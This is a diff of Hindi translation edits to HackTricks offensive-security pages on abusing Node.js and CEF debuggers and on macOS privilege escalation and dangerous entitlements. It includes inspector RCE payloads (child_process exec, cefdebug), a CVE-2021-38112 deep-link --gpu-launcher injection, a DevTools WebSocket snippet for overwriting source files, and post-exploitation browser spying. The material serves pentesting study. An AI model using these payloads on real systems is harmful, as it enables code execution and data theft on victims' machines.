||||
- [ ] क्या आपको [**एक प्रतिबंधित शेल से भागने की आवश्यकता है**](privilege-escalation/index.html#escaping-from-restricted-shells)?
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -27,22 +27,22 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
**CEF** (**Chromium Embedded Framework**) पर आधारित प्रक्रियाओं को **debugger** खोलने के लिए पैरामीटर का उपयोग करना होगा: `--remote-debugging-port=9222` (SSRF सुरक्षा बहुत समान रहती है)। हालाँकि, वे **NodeJS** **debug** सत्र प्रदान करने के बजाय ब्राउज़र के साथ [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) का उपयोग करके संवाद करेंगे, यह ब्राउज़र को नियंत्रित करने के लिए एक इंटरफ़ेस है, लेकिन कोई सीधा RCE नहीं है।
|
||||
प्रक्रियाएँ जो **CEF** (**Chromium Embedded Framework**) पर आधारित हैं, उन्हें **debugger** खोलने के लिए पैरामीटर का उपयोग करना होगा: `--remote-debugging-port=9222` (SSRF सुरक्षा बहुत समान रहती है)। हालाँकि, वे **NodeJS** **debug** सत्र प्रदान करने के बजाय ब्राउज़र के साथ [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) का उपयोग करके संवाद करेंगे, यह ब्राउज़र को नियंत्रित करने के लिए एक इंटरफ़ेस है, लेकिन कोई सीधा RCE नहीं है।
|
||||
|
||||
जब आप एक डिबग किए गए ब्राउज़र को शुरू करते हैं, तो कुछ ऐसा दिखाई देगा:
|
||||
```
|
||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
|
||||
```
|
||||
### ब्राउज़र्स, वेबसॉकेट्स और समान-स्रोत नीति <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
|
||||
|
||||
वेबसाइटें एक वेब-ब्राउज़र में वेबसॉकेट और HTTP अनुरोध कर सकती हैं ब्राउज़र सुरक्षा मॉडल के तहत। एक **प्रारंभिक HTTP कनेक्शन** आवश्यक है **एक अद्वितीय डिबगर सत्र आईडी प्राप्त करने के लिए**। **समान-स्रोत नीति** **रोकती है** वेबसाइटों को **इस HTTP कनेक्शन** को बनाने से। [**DNS रीबाइंडिंग हमलों**](https://en.wikipedia.org/wiki/DNS_rebinding)** के खिलाफ अतिरिक्त सुरक्षा के लिए,** Node.js यह सत्यापित करता है कि कनेक्शन के लिए **'Host' हेडर** या तो एक **IP पता** या **`localhost`** या **`localhost6`** को सटीक रूप से निर्दिष्ट करते हैं।
|
||||
वेबसाइटें जो वेब-ब्राउज़र में खुलती हैं, वे ब्राउज़र सुरक्षा मॉडल के तहत WebSocket और HTTP अनुरोध कर सकती हैं। एक **प्रारंभिक HTTP कनेक्शन** आवश्यक है ताकि **एक अद्वितीय डिबगर सत्र आईडी प्राप्त की जा सके**। **same-origin-policy** **वेबसाइटों को** **इस HTTP कनेक्शन** को बनाने से रोकता है। [**DNS rebinding हमलों**](https://en.wikipedia.org/wiki/DNS_rebinding)** के खिलाफ अतिरिक्त सुरक्षा के लिए,** Node.js यह सत्यापित करता है कि कनेक्शन के लिए **'Host' हेडर** या तो एक **IP पता** या **`localhost`** या **`localhost6`** को सटीक रूप से निर्दिष्ट करते हैं।
|
||||
|
||||
> [!NOTE]
|
||||
> यह **सुरक्षा उपाय निरीक्षक का शोषण करने से रोकता है** कोड चलाने के लिए **बस एक HTTP अनुरोध भेजकर** (जो एक SSRF vuln का शोषण करके किया जा सकता है)।
|
||||
|
||||
### चल रहे प्रक्रियाओं में निरीक्षक शुरू करना
|
||||
### Starting inspector in running processes
|
||||
|
||||
आप एक चल रहे nodejs प्रक्रिया को **सिग्नल SIGUSR1** भेज सकते हैं ताकि यह **डिफ़ॉल्ट पोर्ट में निरीक्षक शुरू करे**। हालाँकि, ध्यान दें कि आपके पास पर्याप्त विशेषाधिकार होना चाहिए, इसलिए यह आपको **प्रक्रिया के अंदर जानकारी तक विशेषाधिकार प्राप्त पहुंच** दे सकता है लेकिन सीधे विशेषाधिकार वृद्धि नहीं।
|
||||
आप एक चल रहे nodejs प्रक्रिया को **signal SIGUSR1** भेज सकते हैं ताकि यह **डिफ़ॉल्ट पोर्ट में निरीक्षक शुरू कर सके**। हालाँकि, ध्यान दें कि आपके पास पर्याप्त विशेषाधिकार होना चाहिए, इसलिए यह आपको **प्रक्रिया के अंदर जानकारी तक विशेषाधिकार प्राप्त करने** की अनुमति दे सकता है लेकिन सीधे विशेषाधिकार वृद्धि नहीं।
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
@ -52,7 +52,7 @@ kill -s SIGUSR1 <nodejs-ps>
|
||||
|
||||
### निरीक्षक/debugger से कनेक्ट करें
|
||||
|
||||
एक **Chromium-आधारित ब्राउज़र** से कनेक्ट करने के लिए, Chrome या Edge के लिए `chrome://inspect` या `edge://inspect` URLs का उपयोग किया जा सकता है। Configure बटन पर क्लिक करके यह सुनिश्चित किया जाना चाहिए कि **लक्ष्य होस्ट और पोर्ट** सही ढंग से सूचीबद्ध हैं। चित्र एक Remote Code Execution (RCE) उदाहरण दिखाता है:
|
||||
**Chromium-आधारित ब्राउज़र** से कनेक्ट करने के लिए, Chrome या Edge के लिए `chrome://inspect` या `edge://inspect` URLs का उपयोग किया जा सकता है। Configure बटन पर क्लिक करके यह सुनिश्चित किया जाना चाहिए कि **लक्ष्य होस्ट और पोर्ट** सही ढंग से सूचीबद्ध हैं। चित्र एक Remote Code Execution (RCE) उदाहरण दिखाता है:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -73,14 +73,14 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
|
||||
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
|
||||
```
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि **NodeJS RCE हमले** तब काम नहीं करेंगे जब [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) के माध्यम से ब्राउज़र से जुड़े हों (आपको इसके साथ करने के लिए दिलचस्प चीजें खोजने के लिए API की जांच करनी होगी)।
|
||||
> ध्यान दें कि **NodeJS RCE एक्सप्लॉइट्स काम नहीं करेंगे** यदि [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) के माध्यम से ब्राउज़र से जुड़े हों (आपको इसके साथ करने के लिए दिलचस्प चीजें खोजने के लिए API की जांच करनी होगी)।
|
||||
|
||||
## NodeJS Debugger/Inspector में RCE
|
||||
|
||||
> [!NOTE]
|
||||
> यदि आप यहाँ [**Electron में XSS से RCE प्राप्त करने का तरीका**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) खोजने आए हैं, तो कृपया इस पृष्ठ की जांच करें।
|
||||
> यदि आप यहाँ [**Electron में XSS से RCE प्राप्त करने का तरीका**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) खोजने आए हैं, तो कृपया इस पृष्ठ की जांच करें।
|
||||
|
||||
जब आप Node **inspector** से **जुड़ सकते** हैं, तो **RCE** प्राप्त करने के कुछ सामान्य तरीके हैं, जैसे कि (ऐसा लगता है कि यह **Chrome DevTools protocol** के साथ कनेक्शन में काम नहीं करेगा):
|
||||
जब आप Node **inspector** से **जुड़ सकते** हैं, तो **RCE** प्राप्त करने के कुछ सामान्य तरीके हैं, जैसे कि (ऐसा लगता है कि यह **Chrome DevTools प्रोटोकॉल से कनेक्शन में काम नहीं करेगा**):
|
||||
```javascript
|
||||
process.mainModule.require("child_process").exec("calc")
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
@ -90,23 +90,23 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
|
||||
## Chrome DevTools Protocol Payloads
|
||||
|
||||
आप API यहाँ देख सकते हैं: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
|
||||
इस अनुभाग में मैं केवल उन दिलचस्प चीजों की सूची दूंगा जो मैंने लोगों को इस प्रोटोकॉल का शोषण करते हुए पाई हैं।
|
||||
इस अनुभाग में मैं केवल उन दिलचस्प चीजों की सूची दूंगा जो मैंने लोगों को इस प्रोटोकॉल का शोषण करते हुए पाया है।
|
||||
|
||||
### Parameter Injection via Deep Links
|
||||
|
||||
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) में Rhino सुरक्षा ने खोजा कि CEF पर आधारित एक एप्लिकेशन ने सिस्टम में **एक कस्टम UR**I (workspaces://) पंजीकृत किया जो पूर्ण URI प्राप्त करता था और फिर **CEF आधारित एप्लिकेशन को लॉन्च किया** एक ऐसे कॉन्फ़िगरेशन के साथ जो उस URI से आंशिक रूप से निर्मित था।
|
||||
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) में Rhino सुरक्षा ने खोजा कि CEF पर आधारित एक एप्लिकेशन ने सिस्टम में **एक कस्टम UR**I (workspaces://index.html) पंजीकृत किया जो पूर्ण URI प्राप्त करता था और फिर **CEF आधारित एप्लिकेशन** को उस URI से आंशिक रूप से निर्मित कॉन्फ़िगरेशन के साथ लॉन्च करता था।
|
||||
|
||||
यह पता चला कि URI पैरामीटर URL डिकोड किए गए थे और CEF बेसिक एप्लिकेशन को लॉन्च करने के लिए उपयोग किए गए थे, जिससे एक उपयोगकर्ता को **`--gpu-launcher`** फ्लैग को **कमांड लाइन** में **इंजेक्ट** करने और मनमाने चीजें निष्पादित करने की अनुमति मिली।
|
||||
यह पता चला कि URI पैरामीटर URL डिकोड किए गए थे और CEF बेसिक एप्लिकेशन को लॉन्च करने के लिए उपयोग किए गए थे, जिससे एक उपयोगकर्ता को **`--gpu-launcher`** फ्लैग को **कमांड लाइन** में **इंजेक्ट** करने और मनमाने कार्यों को निष्पादित करने की अनुमति मिली।
|
||||
|
||||
तो, एक पेलोड जैसे:
|
||||
```
|
||||
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
|
||||
```
|
||||
एक calc.exe को निष्पादित करेगा।
|
||||
एक calc.exe चलाएगा।
|
||||
|
||||
### फ़ाइलें ओवरराइट करें
|
||||
|
||||
उस फ़ोल्डर को बदलें जहाँ **डाउनलोड की गई फ़ाइलें सहेजी जाएंगी** और एक फ़ाइल डाउनलोड करें ताकि **ओवरराइट** की जा सके अक्सर उपयोग किए जाने वाले **स्रोत कोड** को आपके **दुष्ट कोड** के साथ।
|
||||
**डाउनलोड की गई फ़ाइलों को सहेजने के लिए फ़ोल्डर बदलें** और एक फ़ाइल डाउनलोड करें ताकि **ओवरराइट** किया जा सके अक्सर उपयोग किए जाने वाले **स्रोत कोड** को आपके **दुष्ट कोड** के साथ।
|
||||
```javascript
|
||||
ws = new WebSocket(url) //URL of the chrome devtools service
|
||||
ws.send(
|
||||
@ -126,7 +126,7 @@ downloadPath: "/code/",
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
एक वास्तविक वातावरण में और **एक उपयोगकर्ता PC को समझौता करने के बाद** जो Chrome/Chromium आधारित ब्राउज़र का उपयोग करता है, आप **debugging सक्रियित करके और debugging port को port-forward करके** एक Chrome प्रक्रिया शुरू कर सकते हैं ताकि आप इसे एक्सेस कर सकें। इस तरह आप **विक्टिम द्वारा Chrome के साथ किए गए सभी कार्यों का निरीक्षण कर सकेंगे और संवेदनशील जानकारी चुरा सकेंगे**।
|
||||
एक वास्तविक वातावरण में और **एक उपयोगकर्ता PC को समझौता करने के बाद** जो Chrome/Chromium आधारित ब्राउज़र का उपयोग करता है, आप **debugging सक्रियित करके और debugging port को port-forward करके** एक Chrome प्रक्रिया लॉन्च कर सकते हैं ताकि आप इसे एक्सेस कर सकें। इस तरह आप **Chrome के साथ पीड़ित द्वारा किए गए सभी कार्यों का निरीक्षण कर सकेंगे और संवेदनशील जानकारी चुरा सकेंगे**।
|
||||
|
||||
चुपके से करने का तरीका है **हर Chrome प्रक्रिया को समाप्त करना** और फिर कुछ ऐसा कॉल करना जैसे
|
||||
```bash
|
||||
|
@ -24,7 +24,7 @@ macos-users.md
|
||||
macos-applefs.md
|
||||
{{#endref}}
|
||||
|
||||
- **कर्नेल** की **संरचना**
|
||||
- **kernel** की **संरचना**
|
||||
|
||||
{{#ref}}
|
||||
mac-os-architecture/
|
||||
@ -37,11 +37,11 @@ macos-protocols.md
|
||||
{{#endref}}
|
||||
|
||||
- **ओपनसोर्स** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
- `tar.gz` डाउनलोड करने के लिए एक URL को इस तरह बदलें [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) से [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
|
||||
- `tar.gz` डाउनलोड करने के लिए एक URL को इस प्रकार बदलें: [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) को [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) में।
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
कंपनियों में **macOS** सिस्टम बहुत संभवतः **MDM के साथ प्रबंधित** होंगे। इसलिए, एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प है **कि यह कैसे काम करता है**:
|
||||
कंपनियों में **macOS** सिस्टम उच्च संभावना के साथ **MDM के साथ प्रबंधित** होंगे। इसलिए, एक हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि **यह कैसे काम करता है**:
|
||||
|
||||
{{#ref}}
|
||||
../macos-red-teaming/macos-mdm/
|
||||
@ -66,12 +66,12 @@ macos-security-protections/
|
||||
यदि एक **प्रक्रिया जो रूट के रूप में चल रही है** एक फ़ाइल लिखती है जिसे एक उपयोगकर्ता द्वारा नियंत्रित किया जा सकता है, तो उपयोगकर्ता इसका दुरुपयोग करके **विशेषाधिकार बढ़ा सकता है**।\
|
||||
यह निम्नलिखित स्थितियों में हो सकता है:
|
||||
|
||||
- उपयोग की गई फ़ाइल पहले से एक उपयोगकर्ता द्वारा बनाई गई थी (उपयोगकर्ता के स्वामित्व में)
|
||||
- उपयोग की गई फ़ाइल उपयोगकर्ता द्वारा एक समूह के कारण लिखने योग्य है
|
||||
- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है)
|
||||
- उपयोग की गई फ़ाइल एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को एक समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है)
|
||||
- फ़ाइल का उपयोग पहले से एक उपयोगकर्ता द्वारा किया गया था (उपयोगकर्ता द्वारा स्वामित्व)
|
||||
- फ़ाइल का उपयोग उपयोगकर्ता द्वारा एक समूह के कारण लिखने योग्य है
|
||||
- फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है)
|
||||
- फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को एक समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है)
|
||||
|
||||
एक **फ़ाइल बनाने में सक्षम होना** जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है ताकि इसे किसी अन्य स्थान पर इंगित किया जा सके।
|
||||
एक **फ़ाइल बनाने** में सक्षम होना जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है जो इसे किसी अन्य स्थान पर इंगित करता है।
|
||||
|
||||
इस प्रकार की कमजोरियों के लिए **कमजोर `.pkg` इंस्टॉलर** की जांच करना न भूलें:
|
||||
|
||||
@ -81,7 +81,7 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
|
||||
### फ़ाइल एक्सटेंशन और URL स्कीम ऐप हैंडलर
|
||||
|
||||
फ़ाइल एक्सटेंशन द्वारा पंजीकृत अजीब ऐप्स का दुरुपयोग किया जा सकता है और विभिन्न अनुप्रयोगों को विशिष्ट प्रोटोकॉल खोलने के लिए पंजीकृत किया जा सकता है
|
||||
फाइल एक्सटेंशन द्वारा पंजीकृत अजीब ऐप्स का दुरुपयोग किया जा सकता है और विभिन्न अनुप्रयोगों को विशिष्ट प्रोटोकॉल खोलने के लिए पंजीकृत किया जा सकता है
|
||||
|
||||
{{#ref}}
|
||||
macos-file-extension-apps.md
|
||||
@ -93,13 +93,13 @@ macOS में **अनुप्रयोगों और बाइनरीज
|
||||
|
||||
इसलिए, एक हमलावर जो macOS मशीन को सफलतापूर्वक समझौता करना चाहता है, उसे **अपने TCC विशेषाधिकार बढ़ाने** की आवश्यकता होगी (या यहां तक कि **SIP को बायपास करना**, उसकी आवश्यकताओं के आधार पर)।
|
||||
|
||||
ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किए जाते हैं, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक अन्य तरीका जिससे एक प्रक्रिया इन विशेषाधिकारों को प्राप्त कर सकती है वह है **एक प्रक्रिया का बच्चा होना** जिसके पास वे **विशेषाधिकार** होते हैं क्योंकि वे आमतौर पर **विरासत में मिलते हैं**।
|
||||
ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किया जाता है, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक अन्य तरीका जिससे एक प्रक्रिया इन विशेषाधिकारों को प्राप्त कर सकती है वह है **एक प्रक्रिया का बच्चा होना** जिसके पास वे **विशेषाधिकार** होते हैं क्योंकि वे आमतौर पर **विरासत में मिलते हैं**।
|
||||
|
||||
इन लिंक का पालन करें ताकि विभिन्न तरीकों को [**TCC में विशेषाधिकार बढ़ाने के लिए**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC को बायपास करने के लिए**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) और कैसे अतीत में [**SIP को बायपास किया गया है**](macos-security-protections/macos-sip.md#sip-bypasses) खोजा जा सके।
|
||||
इन लिंक का पालन करें ताकि विभिन्न तरीकों को [**TCC में विशेषाधिकार बढ़ाने के लिए**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**TCC को बायपास करने के लिए**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) और कैसे अतीत में [**SIP को बायपास किया गया है**](macos-security-protections/macos-sip.md#sip-bypasses)।
|
||||
|
||||
## macOS पारंपरिक विशेषाधिकार वृद्धि
|
||||
|
||||
बेशक, एक रेड टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट की जांच करें:
|
||||
बेशक, एक रेड टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट देखें:
|
||||
|
||||
{{#ref}}
|
||||
macos-privilege-escalation.md
|
||||
|
@ -17,19 +17,19 @@
|
||||
|
||||
### **`com.apple.system-task-ports` (पहले `task_for_pid-allow` कहा जाता था)**
|
||||
|
||||
यह अधिकार किसी भी प्रक्रिया के लिए **टास्क पोर्ट प्राप्त करने** की अनुमति देता है, सिवाय कर्नेल के। अधिक जानकारी के लिए [**यहाँ देखें**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
यह अधिकार किसी भी प्रक्रिया के लिए **टास्क पोर्ट प्राप्त करने** की अनुमति देता है, सिवाय कर्नेल के। अधिक जानकारी के लिए [**यहाँ देखें**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
यह अधिकार अन्य प्रक्रियाओं को **`com.apple.security.cs.debugger`** अधिकार के साथ उस प्रक्रिया के टास्क पोर्ट को प्राप्त करने की अनुमति देता है जो इस अधिकार वाले बाइनरी द्वारा चलायी जाती है और **इस पर कोड इंजेक्ट** करने की अनुमति देता है। अधिक जानकारी के लिए [**यहाँ देखें**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
|
||||
यह अधिकार अन्य प्रक्रियाओं को **`com.apple.security.cs.debugger`** अधिकार के साथ उस प्रक्रिया के टास्क पोर्ट को प्राप्त करने की अनुमति देता है जो इस अधिकार के साथ बाइनरी द्वारा चलायी जाती है और **इस पर कोड इंजेक्ट** करता है। अधिक जानकारी के लिए [**यहाँ देखें**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
डिबगिंग टूल अधिकार वाले ऐप्स `task_for_pid()` को कॉल कर सकते हैं ताकि बिना साइन किए गए और तीसरे पक्ष के ऐप्स के लिए वैध टास्क पोर्ट प्राप्त किया जा सके जिनका `Get Task Allow` अधिकार `true` पर सेट है। हालाँकि, डिबगिंग टूल अधिकार के साथ भी, एक डिबगर **उन प्रक्रियाओं के टास्क पोर्ट प्राप्त नहीं कर सकता** जिनके पास `Get Task Allow` अधिकार नहीं है, और जो इसलिए सिस्टम इंटीग्रिटी प्रोटेक्शन द्वारा सुरक्षित हैं। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
डिबगिंग टूल अधिकार वाले ऐप्स `task_for_pid()` को कॉल कर सकते हैं ताकि बिना साइन किए गए और तीसरे पक्ष के ऐप्स के लिए वैध टास्क पोर्ट प्राप्त किया जा सके जिनका `Get Task Allow` अधिकार `true` पर सेट है। हालाँकि, डिबगिंग टूल अधिकार के साथ भी, एक डिबगर **उन प्रक्रियाओं के टास्क पोर्ट प्राप्त नहीं कर सकता** जिनके पास **`Get Task Allow` अधिकार नहीं है**, और जो इसलिए सिस्टम इंटीग्रिटी प्रोटेक्शन द्वारा सुरक्षित हैं। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
यह अधिकार **Apple द्वारा साइन किए गए या मुख्य निष्पादन योग्य के समान टीम आईडी के साथ साइन किए गए** बिना फ्रेमवर्क, प्लग-इन या लाइब्रेरी को **लोड** करने की अनुमति देता है, इसलिए एक हमलावर कुछ मनमाने लाइब्रेरी लोड का दुरुपयोग करके कोड इंजेक्ट कर सकता है। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
यह अधिकार **फ्रेमवर्क, प्लग-इन्स, या लाइब्रेरी को लोड करने** की अनुमति देता है बिना Apple द्वारा साइन किए गए या मुख्य निष्पादन योग्य के समान टीम आईडी के साथ साइन किए गए। इसलिए एक हमलावर कुछ मनमानी लाइब्रेरी लोड का दुरुपयोग करके कोड इंजेक्ट कर सकता है। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
@ -38,7 +38,7 @@
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
यह अधिकार **DYLD पर्यावरण चर** का उपयोग करने की अनुमति देता है जो लाइब्रेरी और कोड इंजेक्ट करने के लिए उपयोग किए जा सकते हैं। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
यह अधिकार **DYLD पर्यावरण चर का उपयोग करने** की अनुमति देता है जो लाइब्रेरी और कोड इंजेक्ट करने के लिए उपयोग किया जा सकता है। अधिक जानकारी के लिए [**यहाँ देखें**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` या `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
@ -46,7 +46,7 @@
|
||||
|
||||
### **`system.install.apple-software`** और **`system.install.apple-software.standar-user`**
|
||||
|
||||
ये अधिकार **उपयोगकर्ता से अनुमति पूछे बिना सॉफ़्टवेयर स्थापित** करने की अनुमति देते हैं, जो **अधिकार वृद्धि** के लिए सहायक हो सकता है।
|
||||
ये अधिकार **उपयोगकर्ता से अनुमति पूछे बिना सॉफ़्टवेयर स्थापित करने** की अनुमति देते हैं, जो **अधिकार वृद्धि** के लिए सहायक हो सकता है।
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
@ -54,11 +54,11 @@
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
अधिकार **`com.apple.private.icloud-account-access`** के माध्यम से **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव है जो **iCloud टोकन** प्रदान करेगा।
|
||||
अधिकार **`com.apple.private.icloud-account-access`** के साथ **`com.apple.iCloudHelper`** XPC सेवा के साथ संवाद करना संभव है जो **iCloud टोकन** प्रदान करेगा।
|
||||
|
||||
**iMovie** और **Garageband** के पास यह अधिकार था।
|
||||
|
||||
इस अधिकार से **icloud टोकन** प्राप्त करने के लिए **जानकारी** के लिए बात देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
इस अधिकार से **icloud टोकन** प्राप्त करने के लिए **जानकारी** के लिए वार्ता देखें: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -66,11 +66,11 @@ TODO: मुझे नहीं पता कि यह क्या करन
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**इस रिपोर्ट में**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **उल्लेख किया गया है कि इसका उपयोग** रिबूट के बाद SSV-सुरक्षित सामग्री को अपडेट करने के लिए किया जा सकता है। यदि आप जानते हैं कि यह कैसे किया जाता है तो कृपया एक PR भेजें!
|
||||
TODO: [**इस रिपोर्ट में**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **उल्लेख किया गया है कि इसका उपयोग** रिबूट के बाद SSV-सुरक्षित सामग्री को अपडेट करने के लिए किया जा सकता है। यदि आप जानते हैं कि यह कैसे किया जाता है तो कृपया PR भेजें!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**इस रिपोर्ट में**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **उल्लेख किया गया है कि इसका उपयोग** रिबूट के बाद SSV-सुरक्षित सामग्री को अपडेट करने के लिए किया जा सकता है। यदि आप जानते हैं कि यह कैसे किया जाता है तो कृपया एक PR भेजें!
|
||||
TODO: [**इस रिपोर्ट में**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **उल्लेख किया गया है कि इसका उपयोग** रिबूट के बाद SSV-सुरक्षित सामग्री को अपडेट करने के लिए किया जा सकता है। यदि आप जानते हैं कि यह कैसे किया जाता है तो कृपया PR भेजें!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
@ -87,57 +87,57 @@ TODO: [**इस रिपोर्ट में**](https://jhftss.github.io/The-
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
पूर्ण डिस्क एक्सेस अनुमति देता है, जो TCC की सबसे उच्च अनुमति में से एक है जो आपके पास हो सकती है।
|
||||
**पूर्ण डिस्क एक्सेस** अनुमतियाँ देता है, जो TCC की सबसे उच्च अनुमतियों में से एक है जो आपके पास हो सकती है।
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
ऐप को अन्य अनुप्रयोगों को घटनाएँ भेजने की अनुमति देता है जो सामान्यतः **कार्य स्वचालित करने** के लिए उपयोग किए जाते हैं। अन्य ऐप्स को नियंत्रित करते हुए, यह इन अन्य ऐप्स को दी गई अनुमतियों का दुरुपयोग कर सकता है।
|
||||
